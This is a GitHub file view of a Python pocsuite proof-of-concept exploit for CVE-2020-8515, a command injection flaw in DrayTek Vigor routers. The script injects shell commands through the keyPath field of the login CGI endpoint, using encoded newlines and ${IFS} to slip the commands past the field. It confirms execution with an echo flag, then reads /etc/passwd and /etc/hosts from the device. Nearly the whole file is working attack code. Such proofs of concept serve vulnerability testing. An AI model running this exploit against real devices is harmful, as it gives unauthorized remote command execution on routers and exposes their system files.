forked from imjdl/CVE-2020-8515-PoC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PoC.py
89 lines (77 loc) · 2.75 KB
/
PoC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import urlparse
from pocsuite.api.poc import POCBase
from pocsuite.api.poc import register
from pocsuite.api.poc import Output
from pocsuite.api.request import req
from pocsuite.api.utils import randomStr
class TestPOC(POCBase):
vulID = 'CVE-2020-8515'
version = ''
author = 'elloit'
vulDate = '2020-03-30'
createDate = '2020-03-30'
updateDate = '2020-03-30'
references = [
"https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/",
"https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices/"
]
name = 'CVE-2020-8515 draytek 企业级路由器命令执行漏洞'
appPowerLink = '"https://www.draytek.com/'
appName = 'DrayTek Vigor'
appVersion = '''
'''
vulType = '命令执行'
desc = '''
'''
samples = [
]
install_requires = ""
def _attack(self):
return self._verify()
def _verify(self):
result = {}
self.raw_url = self.url
host = urlparse.urlparse(self.url).hostname
port = urlparse.urlparse(self.url).port
scheme = urlparse.urlparse(self.url).scheme
if port is None:
port = "80"
else:
port = str(port)
if "https" == scheme:
self.url = "%s://%s" % (scheme, host)
else:
self.url = "%s://%s:%s" % (scheme, host, port)
try:
flag = randomStr(10)
check = self.run_cmd("echo${IFS}" + flag).split("\n")[0]
if flag == check:
result["VerifyInfo"] = {}
result["VerifyInfo"]["url"] = self.url
result["VerifyInfo"]["passwd"] = self.run_cmd("cat${IFS}%2fetc%2fpasswd")
result["VerifyInfo"]["hosts"] = self.run_cmd("cat${IFS}%2fetc%2fhosts")
except Exception as e:
pass
return self.parse_output(result)
def run_cmd(self, cmd):
try:
headers = {
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
}
url = self.url + "/cgi-bin/mainfunction.cgi"
data = "action=login&keyPath=%27%0A%2fbin%2f" + cmd + "%0A%27&loginUser=a&loginPwd=a"
res = req.post(url=url, data=data, timeout=(10, 15), headers=headers)
if res.status_code == 200:
return res.text
else:
return ""
except Exception as e:
return ""
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)